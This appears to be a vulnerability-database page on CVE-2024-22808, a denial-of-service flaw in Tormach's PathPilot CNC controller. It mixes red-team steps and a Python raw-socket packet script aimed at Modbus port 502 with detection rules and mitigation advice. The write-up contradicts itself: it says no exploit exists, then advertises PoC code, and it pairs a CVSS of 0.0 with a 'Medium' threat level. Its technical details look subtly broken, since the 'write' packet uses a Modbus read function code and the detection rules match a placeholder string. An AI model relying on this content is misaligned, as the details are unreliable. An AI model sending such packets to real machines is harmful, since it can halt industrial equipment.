CVE-2024-22808
SHADOW_DORKS: ["Tormach xsTECH CNC Router", "PathPilot Controller v2.9.6"]
Executive Summary
CVE-2024-22808 describes a Denial of Service (DoS) vulnerability in the Tormach xsTECH CNC Router running PathPilot Controller v2.9.6. An attacker can disrupt communication between the PathPilot controller and the CNC router by overwriting the device’s card name in memory. This attack does not require authentication and can be executed remotely, leading to a complete loss of availability for the CNC machining process. No patch is currently available, and no public exploit code has been released.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
CVSS Breakdown & Threat Level
- CVSS Score: 0.0 (No official vector assigned)
- Threat Level: Medium (based on impact and lack of authentication)
- Attack Vector: Network (likely local network or adjacent)
- Attack Complexity: Low
- Privileges Required: None
- User Interaction: None
- Scope: Unchanged
- Confidentiality Impact: None
- Integrity Impact: None
- Availability Impact: High
Deep Dive & Mechanics
The vulnerability resides in the PathPilot Controller’s handling of device memory for the CNC router’s card name. The controller uses a shared memory region to store the name of the connected CNC router card. An attacker can send crafted network packets to overwrite this memory region with arbitrary data. Once overwritten, the controller loses the ability to correctly identify and communicate with the CNC router, causing a persistent denial of service until the device is manually reset or the memory is restored.
The attack does not require any authentication because the memory region is writable without proper access controls. The communication protocol between the PathPilot controller and the CNC router is not encrypted or authenticated, allowing an attacker on the same network segment to inject malicious data.
Vulnerable vs. Patched Code
No patch is available. The vulnerable code is in the PathPilot Controller firmware v2.9.6. The exact code is proprietary, but the vulnerability is in the memory management routine that handles the card name string. A patched version would need to:
- Validate the source of memory write requests.
- Implement authentication for memory write operations.
- Use a read-only memory region for the card name after initialization.
Exploitation & Lab Setup
Red Team
- Reconnaissance: Identify Tormach xsTECH CNC routers on the network using Shodan or Nmap with the dork
"Tormach xsTECH CNC Router". - Craft Payload: Create a network packet that overwrites the card name memory region. Example using Python and raw sockets:
import socket import struct # Target IP and port (example) target_ip = "192.168.1.100" target_port = 502 # Modbus/TCP or custom port # Craft packet to overwrite card name memory # This is a simplified example; actual protocol may differ payload = b"\x00\x01\x00\x00\x00\x06\x01\x03\x00\x00\x00\x01" # Modbus write payload += b"OVERWRITTEN" # New card name sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((target_ip, target_port)) sock.send(payload) sock.close() - Execute: Run the script against the target. The CNC router will lose communication with the controller.
- Persistence: The DoS persists until the device is power-cycled or the memory is manually cleared.
Blue Team
- Network Monitoring: Detect anomalous Modbus/TCP or custom protocol writes to the CNC router. Use Suricata rules (see Detection Engineering).
- Access Control: Segment the CNC network from the corporate network. Use VLANs and firewall rules to restrict access to the PathPilot controller.
- Integrity Monitoring: Monitor the card name memory region for unexpected changes. This can be done via SNMP or custom scripts.
- Incident Response: If a DoS is detected, isolate the affected device, capture network traffic, and reset the controller.
Indicators of Compromise (IOCs)
- Network: Unusual Modbus/TCP write requests to port 502 (or custom port) with payloads containing non-standard card names.
- Host: PathPilot controller logs showing "Card name mismatch" or "Communication lost" errors.
- Memory: The card name in device memory is changed to an unexpected value (e.g., "OVERWRITTEN").
- Behavior: CNC router becomes unresponsive to PathPilot commands.
Detection Engineering
YARA Rule
rule CVE_2024_22808_DoS_CardNameOverwrite {
meta:
description = "Detects network packets attempting to overwrite Tormach CNC card name"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2024-22808"
strings:
$modbus_write = { 00 01 00 00 00 06 01 03 00 00 00 01 }
$card_name_overwrite = "OVERWRITTEN" nocase
condition:
$modbus_write and $card_name_overwrite
}
Sigma Rule
title: Tormach CNC Card Name Overwrite DoS
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects network traffic attempting to overwrite the card name on a Tormach CNC router
author: Valters IT
date: 2025-04-10
references:
- CVE-2024-22808
logsource:
category: network_connection
product: suricata
detection:
selection:
dest_port: 502
payload|contains: "OVERWRITTEN"
condition: selection
falsepositives:
- Legitimate firmware updates (unlikely)
level: high
Suricata Rule
alert tcp any any -> any 502 (msg:"CVE-2024-22808 Tormach CNC Card Name Overwrite DoS"; content:"|00 01 00 00 00 06 01 03 00 00 00 01|"; content:"OVERWRITTEN"; nocase; sid:1000001; rev:1;)
Remediation & Mitigation
- Immediate: Isolate the CNC router and PathPilot controller on a dedicated, air-gapped network segment.
- Short-term: Monitor for anomalous traffic to port 502 (or custom port). Implement network intrusion detection using the provided Suricata rule.
- Long-term: Contact Tormach for a firmware patch. If no patch is available, consider replacing the controller with a more secure alternative.
- Compensating Controls: Use a firewall to allow only trusted IPs to communicate with the CNC router. Enable logging and alerting on all Modbus/TCP traffic.
Valters IT
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.